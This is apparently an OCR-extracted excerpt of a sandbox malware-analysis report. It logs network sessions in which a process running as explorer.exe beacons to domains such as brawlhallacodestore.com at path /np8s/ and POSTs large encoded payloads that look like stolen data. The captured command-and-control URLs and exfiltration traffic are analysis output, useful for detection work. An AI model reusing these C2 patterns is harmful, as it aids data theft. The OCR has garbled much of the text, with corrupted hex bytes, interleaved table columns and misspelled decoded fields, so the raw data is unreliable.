SIVKgbURYPKXNECWTugKEFbCz9(SPq8IrbLfwXE9oWIW8aq4(PsjVnx-2f~bo0UESNZMeHbIN8wwGk

HTTP/1.1 405 Not Allowed

Server: nginx

Date: Fri, 27 May 2022 16:43:35 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Data Raw: 61 36 0d Oa 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3¢ 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6C
6f 77 65 64 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 20 62 67 63 6f 6¢ 6f 72 3d 22 77 68 69 74
65 22 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63
65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f
64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa Od Oa 30 0d Oa Od Oa

Data Ascii: ab<html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allow
ed</h1></center><hr><center>nginx</center></body></html|>0

Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?4hM4=04B0f&zVB=uzZkZa9PDR+t76|UsjgXNksX18rdkaBR0jzgf+2QyrrEOBTZPOy5IBVEfZpk90w8gWC7R
HTTP/1.1

Host: www.localbloom.online

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 27 May 2022 16:43:35 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Expires: Fri, 27 May 2022 17:43:35 GMT

Cache-Control: max-age=3600

Cache-Control: public

Data Raw: 65 33 66 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 3e Oa 3c 68 65 61 64 3e Oa 20
2020 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e Oa 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d
65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74
68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 77 77 77 2e 6¢
6f 63 61 6¢ 62 6¢ 6f 6f 6d 2e 6f 6e 6¢ 69 6e 65 20 69 73 20 70 61 72 6b 65 64 3¢ 2f 74 69 74 6¢ 65 3e 0a 20 20 20 20 3¢
73 74 79 6¢ 65 3e Oa Oa 2a 20 7b 6d 61 72 67 69 6e 3a 20 30 3b 70 61 64 64 69 6e 67 3a 20 30 3b 7d Oa Oa 62 6f 64 79
20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 63 63 63 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 20 41 72 69 61 6¢
2c 2048 65 6¢ 76 65 74 69 63 61 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b Oa 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70
74 3b 0a 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65 72 3b Oa 7d Oa Oa 68 31 20 7b Oa 6d 61 72 67 69 6e 3a 20
313070782061 7574 6f20 3230 70 78 20 31 30 70 78 3b Oa 63 6f 6¢ 6f 72 3a 20 23 33 34 39 38 64 62 3b Oa 7d Oa
0a 70 20 7b 0a 64 69 73 70 6¢ 61 79 3a 20 69 6e 6¢ 69 6e 65 2d 62 6¢ 6f 63 6b 3b 0a 6d 69 6e 2d 77 69 64 74 68 3a 20
32303070 78 3b 0a 6d 61 72 67 69 6e 3a 20 61 75 74 6f 20 33 30 70 78 20 31 30 70 78 20 33 30 70 78 3b Oa 7d Oa Oa
2e 63 6f 6e 74 61 69 6e 65 72 20 7b Oa 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6¢ 61 74 69 76 65 3b 0a 74 65 78 74 2d 61 6¢C
69 67 6e 3a 20 6¢ 65 66 74 3b 0a 6d 69 6e 2d 68 65 69 67 68 74 3a 20 32 30 30 70 78 3b Oa 6d 61 78 2d 77 69 64 74 68
3a 2038 30 30 70 78 3b 0a 6d 69 6e 2d 77 69 64 74 68 3a 20 34 35 30 70 78 3b Oa 6d 61 72 67 69 6e 3a 20 31 35 25 20
61 75 74 6f 20 30 70 78 20 61 75 74 6f 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 46 46 46 46 46 3b Oa 62 6f 72 64
6572 2d 72 61 64 69 75 73 3a 20 32 30 70 78 3b Oa 70 61 64 64 69 6e 67 3a 20 32 30 70 78 3b Oa 62 6f 78 2d 73 69 7a
69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 7d 0a 0a 69 6d 67 2e 6¢ 6f 67 6f 20 7b 0a 77 69 64 74 68 3a 20 61 75
74 6f 3b 0a 6d 61 78 2d 68 65 69 67 68 74 3a 20 35 30 70 78 3b 0a 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b
Oa 62 6f 72 64 65 72 3a 20 30 3b Oa 7d Oa Oa 2e 6¢ 6f 67 6f 63 6f 6e 74 20 7b 0a 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63
65 6e 74 65 72 3b Oa 7d 0a Oa 2e 6¢ 61 6e 67 73 65 6¢ 65 63 74 20 7b Oa 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6¢ 75
74 65 3b Oa 74 6f 70 3a 20 31 30 70 78 3b 0a 72 69 67 68 74 3a 20 31 30 70 78 3b Oa 7d Oa Oa 2e 6¢ 61 6e 67 73 65 6C
65 63 74 20 69 6d 67 20 7b Oa 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6¢ 61 74 69 76 65 3b 0a 77 69 64 74 68 3a 20 61 75
74 6f 3b 0a 62 6f 72 64 65 72 3a 20 30 3b 0a 6d 61 72 67 69 6e 3a 20 32 70 78 3b 0a 68 65 69 67 68 74 3a 20 31 35 70
78 3b Oa 7d Oa Oa 2e 66 6f 6f 74 65 72 20 7b 0a 63 6f 6¢ 6f 72 3a 20 23 61 61 61 3b 0a 6d 61 72 67 69 6e 3a 20 31 65 6d
2061 75 74 6f 20 30 70 78 20 61 75 74 6f 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 38 70 74 3b 0a 74 65 78 74 2d 61 6¢
69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 6d 69 6e 2d 77 69 64 74 68 3a 20 34 35 30 70 78 3b Oa 7d Oa Oa 20 20 20 20 3¢
2f 73 74 79 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa

Data Ascii: e3f<IDOCTYPE html><html><head> <meta charset="UTF-8"> <meta name="viewport" content="width=d
evice-width, initial-scale=1.0"> <title>www.localbloom.online is parked</title> <style>* {margin: O;padding: 0;}body
{background: #ccc;font-family: Arial, Helvetica, sans-serif;font-size: 11pt;text-align: center;}h1 {margin: 10px auto 20px
10px;color: #3498db;}p {display: inline-block;min-width: 200px;margin: auto 30px 10px 30px;}.container {position: relative;t
ext-align: left;min-height: 200px;max-width: 800px;min-width: 450px;margin: 15% auto Opx auto;background: #FFF
FFF;border-radius: 20px;padding: 20px;box-sizing: border-box;}img.logo {width: auto;max-height: 50px;margin-top:
30px;border: 0;}.logocont {text-align: center;}.langselect {position: absolute;top: 10px;right: 10px;}.langselect img {position:
relative;width: auto;border: O;margin: 2px;height: 15px;}.footer {color: #aaa;margin: 1em auto Opx auto;font-size: 8pt;text-
align: center;min-width: 450px;} </style></head><body>

Destination Port Process

C:\Windows\explorer.exe
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kBytes

Timestamp A Direction
May 27, 2022 9606 ouT
18:43:40.479224920
CEST
May 27, 2022 9607 IN
18:43:40.524821997
CEST
Session ID Source IP Source Port
15 192.168.2.5 49905
. kBytes . .
Ti Di
imestamp transferred irection
May 27, 2022 9620 ouT
18:43:40.558265924
CEST

Copyright Joe Security LLC 2022

Data

POST /np8s/ HTTP/1.1

Host: www.brawlhallacodestore.com

Connection: close

Content-Length: 409

Cache-Control: no-cache

Origin: http://www.brawlhallacodestore.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.brawlhallacodestore.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 7a 56 42 3d 64 68 78 6f 49 54 6a 33 67 6d 68 49 79 5a 4c 45 71 4b 6b 50 56 61 65 6f 58 59 48 59 4d 6¢ 74 7a
67 66 43 76 6d 4e 74 68 53 42 54 78 62 4a 4f 61 63 6e 74 51 62 67 4d 70 6a 75 62 61 7a 65 43 72 38 34 34 6¢ 55 54 49
50 58 51 32 7a 45 32 4f 4a 6a 30 6d 2d 48 63 53 52 6d 33 52 6f 72 66 71 79 56 7a 42 49 31 6a 68 4a 6e 56 50 6¢ 4c 36
64 33 4b 34 53 4f 30 74 74 32 77 58 54 6¢ 46 62 4c 62 42 36 46 71 51 51 6b 46 6a 6d 4b 49 58 64 39 37 51 63 57 4a 73
7aT7e 7573 47 61 31 6f 66 45 44 53 58 7e 79 4b 42 28 5a 61 78 63 58 55 74 44 72 44 6d 52 5a 57 58 73 71 73 36 32 69
6e 57 74 5f 32 49 7e 59 4e 59 28 70 4a 76 7a 4f 5a 52 70 33 34 78 49 30 73 50 7e 57 6d 76 34 71 62 70 51 4f 38 49 4a
48 4a 75 63 30 42 73 6e 4a 71 39 33 55 78 45 4a 39 38 58 4e 73 31 4e 36 72 46 47 66 6e 61 61 6e 35 48 61 6e 2d 78 6f
43 6e 41 65 36 71 6d 33 38 4d 34 57 4c 38 33 35 33 65 78 4d 4f 4a 78 38 62 6e 64 61 68 4f 39 43 63 68 4d 75 59 6f 6
49 4d 36 32 2d 59 68 45 66 6b 55 37 77 79 6e 43 62 4¢c 73 57 71 68 6¢ 6f 73 31 6d 4f 31 57 30 30 39 4c 55 4e 36 68 6¢
41 34 59 4c 4d 30 67 4b 37 38 70 30 70 4c 68 32 56 63 6d 44 69 38 76 68 42 74 49 62 49 71 7a 6¢ 53 77 72 58 54 38 77
61 58 65 62 66 53 50 31 79 6b 57 4b 4f 51 2d 28 75 62 51 29 2e 00 00 00 00 00 00 00 00

Data Ascii: ZVB=dhxolTj3gmhlyZLEqKkPVaeoXYHYMIltzgfCvmNthSBTxbJOacntQbgMpjubazeCr844IUTIPXQ2zE20Jj0m-
HcSRm3RorfgyVzBI1jhInVPIL6d3K4SO0tt2wXTIFbLbB6FqQQKFmKIXd97QcWJsz~usGalofEDSX~yKB(ZaxcXUt
DrDmRZWXsgs62inWt_2I~YNY (pJvzOZRp34x10sP~Wmv4gbpQO8IJHIucOBsnJIgq93UXEJI8XNs1IN6rFGfnaan5Han-
x0CnAe6gm38M4WL8353exM0OJIx8bndahO9CchMuYonIM62-YhEfkU7wynCbLsWghlos1mO1WO009LUN6hIA4YLMOgK78
pOpLh2VemDi8vhBtlblgzlSwrXT8waXebfSP1ykWKOQ-(ubQ).

HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Fri, 27 May 2022 16:43:40 GMT

Content-Type: text/html

Content-Length: 178

Connection: close

Location: https://www.brawlhallacodestore.com/np8s/

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3¢ 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61
6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 20 62 67 63 6f 6¢ 6f 72 3d 22 77 68
69 74 65 22 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢
79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74
65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved
Permanently</h1></center><hr><center>nginx</center></body></html>

Destination IP  Destination Port Process
52.17.85.125 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1

Host: www.brawlhallacodestore.com

Connection: close

Content-Length: 36477

Cache-Control: no-cache

Origin: http://www.brawlhallacodestore.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.brawlhallacodestore.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 7a 56 42 3d 64 68 78 6f 49 52 47 73 39 46 6¢ 6a 38 73 54 33 72 63 78 47 65 4c 75 71 52 6f 44 64 4a 68 6¢ 61

6b 74 32 37 69 50 30 5a 54 45 58 76 66 35 37 36 4b 51 42 49 62 68 52 69 37 4e 76 67 30 2d 4f 6f 38 34 67 66 55 54 38

50 55 54 32 6a 45 52 4b 6e 69 58 4f 78 46 38 54 30 6e 33 51 75 39 61 79 50 56 7a 4d 64 31 67 42 5a 79 31 62 6¢ 4b 5a

313362 62 4b 4a 36 74 74 34 34 33 43 38 4b 37 47 78 42 37 74 69 51 52 59 46 6a 57 4f 49 58 39 74 6b 45 72 43 4b 68

44 7e 72 70 47 61 73 6d 4f 35 77 53 58 7a 56 4b 42 7a 5a 61 43 6f 58 53 2d 37 72 46 58 52 61 43 58 73 76 6d 61 33 67

77 47 67 6a 3249 69 71 4e 61 54 66 49 66 33 4f 49 78 70 79 70 53 5a 42 28 49 66 55 6b 72 35 43 62 70 63 6a 38 5a 55

59 4a 76 77 55 47 62 65 68 6f 62 6a 36 78 47 6¢ 62 77 58 4d 6¢ 36 74 37 70 46 47 66 68 61 61 6e 48 48 62 58 2d 78 76

32 6e 47 61 61 71 76 52 49 50 6e 57 4c 35 68 4a 32 44 31 4d 4c 6f 78 38 43 70 64 65 34 56 38 78 6f 68 57 62 38 6f 32 4e

67 35 7e 75 59 6a 46 66 6b 63 6b 41 79 6f 43 62 4c 46 57 76 4e 31 76 62 39 6d 63 33 7e 30 7a 65 6a 55 50 4b 68 6¢ 65

6f59 4a 43 6b 74 58 37 38 78 77 70 4c 51 44 56 72 7e 44 69 76 33 68 42 49 6b 62 4a 36 7a 6¢ 48 41 71 46 64 34 70 49

62 75 48 42 52 2d 6¢ 32 38 45 6a 67 47 4b 32 37 4f 46 67 46 7e 59 72 5a 34 66 64 45 49 4b 4d 55 43 51 30 64 6f 30 39

78 6d 56 79 31 64 4f 6e 6d 68 4c 7e 4f 74 4e 4e 6f 28 59 6¢ 34 4c 50 4e 4c 55 50 31 6f 6f 4c 54 33 4b 7a 6¢ 36 41 53 45

68 49 72 69 37 6¢ 59 44 5a 6a 73 45 67 75 4e 57 30 5a 49 69 47 48 69 76 58 59 59 6f 4a 31 65 47 70 30 52 39 77 45 4d

42 38 49 52 6f 31 56 37 4f 56 47 51 30 34 65 30 69 5a 34 36 37 67 28 77 37 55 4f 53 33 30 56 59 57 6d 35 6e 4f 6f 78 36

47 44 64 5f 75 55 74 78 65 54 48 31 42 39 53 6b 70 50 41 79 5a 36 38 5a 55 77 37 61 4b 56 44 56 75 5f 4b 58 58 46 67

48 47 6¢ 79 78 68 49 54 54 4e 48 42 73 7e 64 36 76 6e 44 36 43 63 51 6¢ 52 4b 73 73 35 58 42 47 68 4d 4d 42 4a 61 67

79 71 32 74 6a 65 58 4b 70 47 56 51 32 43 47 38 42 56 46 79 42 55 58 54 7e 51 6a 43 61 33 4e 45 76 61 42 44 43 73 33

4c 30 4f 62 4f 71 76 6d 4d 61 58 39 52 73 7a 4d 5a 33 6a 30 37 59 39 57 77 28 75 63 45 4a 6f 6d 38 52 6d 6e 36 73 36

37 4d 70 56 7e 63 72 68 48 57 69 73 31 54 7a 35 76 59 32 53 69 41 6e 72 50 51 4e 64 43 46 76 72 6d 6f 6b 50 31 58 6¢

36 53 5f 5a 74 38 31 55 68 6¢ 63 4d 59 4c 4f 54 49 52 67 7e 67 52 78 74 66 79 77 6¢ 4f 61 7a 39 77 41 71 41 6e 4e 4a 6a

7439614877 72 6c 64 72 4c 4a 42 41 4a 47 4979 67 45 59 68 28 34 67 5a 36 4b 52 65 34 48 6a 31 46 30 75 42 6¢ 46

6a 7852 4b 7341 47 4b 71 34 68 34 33 36 77 42 72 3555 57 46 61 46 4c 79 69 67 42 6f 68 6f 47 71 70 49 70 64 41 33
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70 6€e 464550 77 64 7458 3049 41 38 79 4e 6C 4552 53 72 77 4b 34 48 77 45 4a 6e 57 56 75 63 43 7e 77 36 31 71 46
Timestamp kBytes Direction f5abf 6C 72 4f 54 73 41 32 43 78 52 36 54 49 55 46 77 6d 35 53 5f 47 4f 36 46 58 4c 61 6¢ 62 66 7e 56 37 6d 6a 76 64 5a
ansieres 72 79 36 44 55 31 4a 4c 5a 56 51 72 6f 39 4a 67 44 37 76 49 54 52 56 36 70 52 56 54 51 46 47 6f 72 54 34 4c 31 6d 46
3452 74 6¢ 46 54 46 35 78 75 65 33 36 63 34 6f 35 52 34 33 5f 45 46 67 32 73 72 62 6f 54 52 33 4b 47 5f 67 44 6¢ 66 28
67 44 63 52 53 59 63 6a 4c 58 50 35 36 46 5a 75 36 63 78 59 45 33 73 62 62 4c 55 28 46 33 7a 69 79 35 4e 51 56 35 6e
7972 4c 2d 6b 33 65 68 6e 4b 35 65 47 2d 78 6¢ 73 47 63 4a 36 63 67 61 58 37 44 69 53 58 64 36 41 52 4a 74 7e 53 6d
71335843 37 71 38 78 51 52 55 69 4d 48 45 37 64 4f 35 6e 34 6¢ 34 62 52 43 7a 47 51 4f 4f 58 45 78 49 4b 79 72 63 46
50 32 5f 46 46 4c 39 44 49 4a 76 73 7a 44 6d 4e 39 55 54 6a 55 64 4d 48 41 31 4c 4d 73 61 66 69 39 50 76 4d 32 75 74
67 70 50 6¢ 41 50 52 68 53 46 4e 70 77 30 69 43 53 78 61 76 53 53 66 62 39 45 42 73 75 38 70 56 6f 2d 6d 7a 7a 4e 73
6¢ 39 35 67 71 4e 6d 58 50 59 4e 52 59 43 5f 78 72 4f 4f 35 4c 54 6e 4d 33 45 54 52 44 78 78 6e 34 49 45 51 64 33 59
4b 5a 67 48 31 4c 67 62 28 53 37 49 63 32 58 73 78 37 78 47 45 76 66 71 4c 54 7a 77 38 4e 36 54 28 47 61 42 79 36 6d
5f 52 73 6d 6d 62 77 68 69 56 35 72 6d 5a 6e 67 77 43 42 34 34 56 58 34 77 7e 6¢ 30 6¢ 76 74 46 5f 70 44 67 61 44 38
58 6b 76 47 4d 4c 34 37 54 5a 61 41 43 43 4a 42 62 52 34 35 4a 62 34 5a 35 44 58 34 69 42 63 72 75
Data Ascii: ZVB=dhxolRGs9F|j8sT3rcxGeLugRoDdJhlakt27iPOZTEXvf576KQBIbhRi7Nvg0-O084gfUT8PUT2JERKNIXOx
F8TOn3Qu9ayPVzMd1gBZy1blKZ13bbKJ6tt443C8K7GxB7tiQRYFjWOIXIkErCKhD~rpGasmO5wSXzVKBzZaCoXS-
7rEXRaCXsvma3gwGgj2ligNaTflf30IxpypSZB(IfUkr5Cbpcj8ZUYJvwUGbehobj6xGlbwXMI6t7pFGfhaanHHbX-
xv2nGaaqvRIPnWL5hJ2D1MLox8Cpde4V8xohWb802Ng5~uY|FfkckAyoCbLFWvN1vb9mc3~0zejUPKhleoYJCkiX78
xwpLQDVr~Div3hBlkbJ6zIHAqFd4plbuHBR-I128EjgGK270FgF~YrZ4fdEIKMUCQOdo09xmVyldOnmhL~OtNNo(Y14
LPNLUP100LT3KzI6ASEhIri7IYDZjsEguNWOZIiGHivXYY0J1eGpORIWEMB8IR01V70VGQ04e0iZ467g(w7UOS30VY
Wm5n0ox6GDd_uUtxe TH1B9SkpPAyZ68ZUw7aKVDVu_KXXFgHGIlyxhITTNHBs~d6vnD6CcQIRKss5XBGh
MMBJagyq2tjeXKpGVQ2CG8BVFyBUXT~QjCa3NEvaBDCs3L0ObOgvmMaX9RszMZ3j07Y9Ww(ucEJom8Rm
n6s67MpV~crhHWis1Tz5vY2SiAnrPQNdCFvrmokP1XI6S_Zt81UhlcMYLOTIRg~gRxtfywlOaz9wAgAnNJjt9aHwrl
drLIBAJGIlygEYh(4gZ6KRe4Hj1F0uBIFjxRKsAGKg4h436wBr5UWFaFLyigBohoGaplpdA3pnFEPwdtX0IA8yNIERS
rwK4HWEJNWVucC~w61qFL_IrOTSA2CXR6TIUFWM5S_GO6FXLalbf~V7mjvdZry6DU1JLZVQro9JgD7vITRV6pRVTQF
GorTALImF4RtIFTF5xue36¢c405R43_EFg2srboTR3KG_gDIf(gDcRSYcjLXP56FZu6exYE3sbbLU(F3ziy5NQV5nyrL-
k3ehnK5eG-xIsGcl6cgaX7DiSXd6ARIt~Smg3XC7q8xQRUIMHE7dO5n414bRCzGQOOXEXIKyrcFP2_FFLIDIJvsz
DmN9UTjUdMHA1LMsafi9PvM2utgpPIAPRhSFNpw0iCSxavSSfh9EBsu8pVo-mzzNsI95ggNmXPYNRYC_xrOO5LThM3
ETRDxxn4lEQd3YKZgH1Lgb(S71c2Xsx7xGEvfgLTzw8N6T(GaBy6m_RsmmbwhiV5rmZngwCB44VX4w~I0IlvtF_pDga
D8XkvGML47TZaACCJIBbR45Jb4Z5DX4iBeruSIWaQ5Fi4bBdYLgjsfilzNSF3grxX85_hgh7ooH4mmx_0SG3~vPHU3Y7
(WC5Z3vS9dtQYLnrt9yq~KVnQ630daxEvQtNBIKSvO~n17D-ty(RtkTANbP-1-SHRZdxnQhmtFRtAcvkHHuUYfwI59Q
uHHVUYga0_1xgJtDiocJOQBKLKLWtHeqgenclFrN6UEWRX5bTOK2IPNjRdIKsolyrbL4UPwblaDAQ9KMbj2gPMShL~x
~rfJyjExhgRRTrYmld(JUznV3mA-NIvK9ZpNQwooM5(BpLwySnM8TPcIBXOeBD2UubmHeSjS7W74Bck618zSCpZzj
8ZUxQ1C4In~3gqmi40bP_Rrr_g1hB3Y90gdxUfr~dsRKP1vvLTsfwPUSIgj4vpCX9a9foRmYstWbYHsvw2uWSmzJpXiZFTht-
mD69BXDg700CPB2PSUuU8Exie72VqENzdE97iEvBcpgloKP7CFIR6SN0fZzL9fcLVIMCzWFuuYSIXQx2ujkpb
pZ2eS2jmy5kPoYO_IlwgeBWEB161QldMey4kzjBpxtHjQB7XQ52MBNnDXUMhXzw6tCzuQVKbgXvyOOnRWa5gzsjQdIA
YKRejiGIIbZcxXTU04NJegxGHDeHOuzIpVDijZCF9gekwqQB0_Q-QXmCCZ6mHxfBbfKdT_XIdR1WhnBaOnSbMpBgXI
VGFIFGOs5fAROFQB3_HZ5NX_Z42z(QU8bfoDPixgUNekAcvqgFUXv7my7HMQIgk9w2fP00cfMUwD21i02blqIN67]8
QAbLBSFEDrZUV_fCP4IAvkX3DGOM1gP5sVgvfseahBxcyPHU8WpmKGHMtxMm3k3wxonAvpTHe7J-YYn78hQ-QO0X0Em
ti6xn6QsmyFKnNDEppL6gOUR13yhyA73eJo3-zne47H(dg4UJIKp4hTwvMQeQ_XxwpKgLn(aA9DSLKcq76ReUV58fODN
SUrvpGV3julSPhKgRYuOuRswgeRLWw4Dp8qjbp~Od1imyax4nh_Zch9fP3VFWkzglF3XqVH3bj3iFwLFADpXEzNfOX_
14b2hhWrWO2qUapjczFctHfUP3IJmUzbtzKcjn9TYyy6300P7rkQoLib_WSMQp4~JG80pZNdvOSgu7BGSqADAFZK5Xn
WJIURKwxY 7bWxAhoRS5jjuNgUnXkGal1TNgPKNgdgPotBUNrv~ueOmJtMh8GK3sVhnmjkYcHYRMpbGw7u
PNcWXESRnkb5uT6jIRkxX88cL-bBSu41XRQEPKUsCaqgF3x5sviMvzvE(iJdtQ8RxDgTy706jq6xSa3X(MT6ZzNljv
RAMDL3(3eKryi-QbN_gejM2IgsINjl1b10AffF3hfSrIXQ3yKwMtqcOcz-ajLmSA2qdfXSuTlyNjlgabvKNdXYJIBrr7E1IEVIMYZ7
GJATIZLLeiXd8ixMVW20yZffEmuCSDLT8A8RSnzyAJ5fVHUsS5I~PSkGV59VZQAdpOZ(MAZzCOfWAS-DYvtP24f2dIv
qqgDAgahLj5NyykqnCPTv4LOBe6rEGXAQIQWjp7UNII0GIn1EvoQdgf5Sne6aNfxbMueBWHHx2KKNKjqfGKQVK-AyGd
tZk1EefCYvNIbabksfsmHOEYZy1bn8xSitz7GT5_192qTcTIguWTipnUuSKuGM(tuhVsS0I7SLRB3HihdGB710tZo9
tTG50IPGO4WpKtmtymMXY8sdCwFgrTBtwWhK~SSYFooNH-y-MrjllZ92fzal ZYj64KChcAetX2n8ZzAXZOcuJ9(094
gFjufr4uljsYtiBEFOHNPdknWPEFLVMOW87wWif16GeLBfL5ICzw0CX62sCajNBgh74JFCCront9iK1viK4RO8nUg-
fnqOu_QZ4KKJnEOQ(syqBVjnRLWflcd5WtRcAgbA1Rps4_ghrgPvXITmIX5IQxy-vBWNnFO5WrSr_~-rCILbIEmOLIt
hkVDZ4CJImiibW7qXZUd2CQjFhxE9Zd8PmDZgQI8Nk4iLAHYe6smYcWCYSSTI9VCIRUho7ITZDAvg1l0XB6DfxUOtgZ
Cs4JINzM_6EBnyIKCINMTFn7SeTYgK4SdtFLZThx-PvINLbvEhUWoCaMgADOM3MpCq62E19jYiyWDkM|O
251HRPATAdE6agdW3YNcDAS5ViA4sZaeVj7ylfkiEAINPD1NICKS_4ybAPKjvGRfA6FKFMgQVMIB9BOf_ZV~ek1JkhB
0nNpS4p9(KOuFF3W58xgC7LDgPrk5omMMEQCwW7q4ft9ZMxFSVE 7f~EXHQwWfoErAl(CQKFrBj9XxCCWFcGZV5d1lcv_gw
sqd8SEJcHe3Dbwmzvdl1zlvob2N5~fTGvxXoA5D8L80KIAAMSISmCOf5ZkBPtEZupwWKSm5s4AZ5-edDRc8COHmMYyg
i9n5ZLSfPubeXxdd6JWI1skf65y T3j1Xh-92ZAGAhPRgZXTcICrPhpfCyx4FY IfEHxdq8dvQs4uFINesmm7yT2UYsrk
ij9Dhrkw5ezdWxW3LV8IHinlad(113hzNkGjUDOTewmRR2I3UxtKKxQKYRyVbOs4hSVojCoexZCy93EeqttWrVYoEm
vtceGVpMQdjidr2Pm7GI68uHITEgIULLfDORoMIMNDmMbs7hCU-ESz6NkIJmgWd8TKMY Qil6NBG6K7vS28hQhUTGAI9I
x1hHPbFngDOk78zX~llil-ccBVaYEoXntTvY3HiSmGqwofo8FngEeSXwuoRbP9bIXmLp

May 27, 2022 9623 IN HTTP/1.1 301 Moved Permanently
18:43:40.601485014 Server: nginx
CEST Date: Fri, 27 May 2022 16:43:40 GMT

Content-Type: text/html

Content-Length: 178

Connection: close

Location: https://www.brawlhallacodestore.com/np8s/

Data Raw: 3c 68 74 6d 6c 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61
6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 20 62 67 63 6f 6¢ 6f 72 3d 22 77 68
69 74 65 22 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢
79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3¢ 2f 63 65 6e 74
65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d Oa

Data Ascii: <html><head><title>301 Moved Permanently</tittle></head><body bgcolor="white"><center><h1>301 Moved
Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process
16 192.168.2.5 49906 52.17.85.125 80 C:\Windows\explorer.exe
Timestamp e Direction Data
transferred
May 27, 2022 9638 ouT GET /np8s/?zVB=SjFSW0qH8X1Gu/+4r88YNPSLQa2KKx1h4LPt291CcOnRXdmgbio7b0swgMzU3Pebjd8T&4hM4=04B0f
18:43:40.666318893 HTTP/1.1
CEST Host: www.brawlhallacodestore.com

Connection: close
Data Raw: 00 00 00 00 00 00 00
Data Ascii:
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kBytes

Timestamp transferred
May 27, 2022 9638
18:43:40.714349985
CEST
Session ID Source IP
17 192.168.2.5

. kBytes
WHIEEE transferred
May 27, 2022 9641
18:43:48.400599003
CEST
Session ID Source IP
18 192.168.2.5

. kBytes
T

imestamp transferred
May 27, 2022 9654
18:43:48.436122894
CEST

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49911

Direction

ouT

Source Port

49912

Direction

ouT

Data

HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Fri, 27 May 2022 16:43:40 GMT

Content-Type: text/html

Content-Length: 178

Connection: close

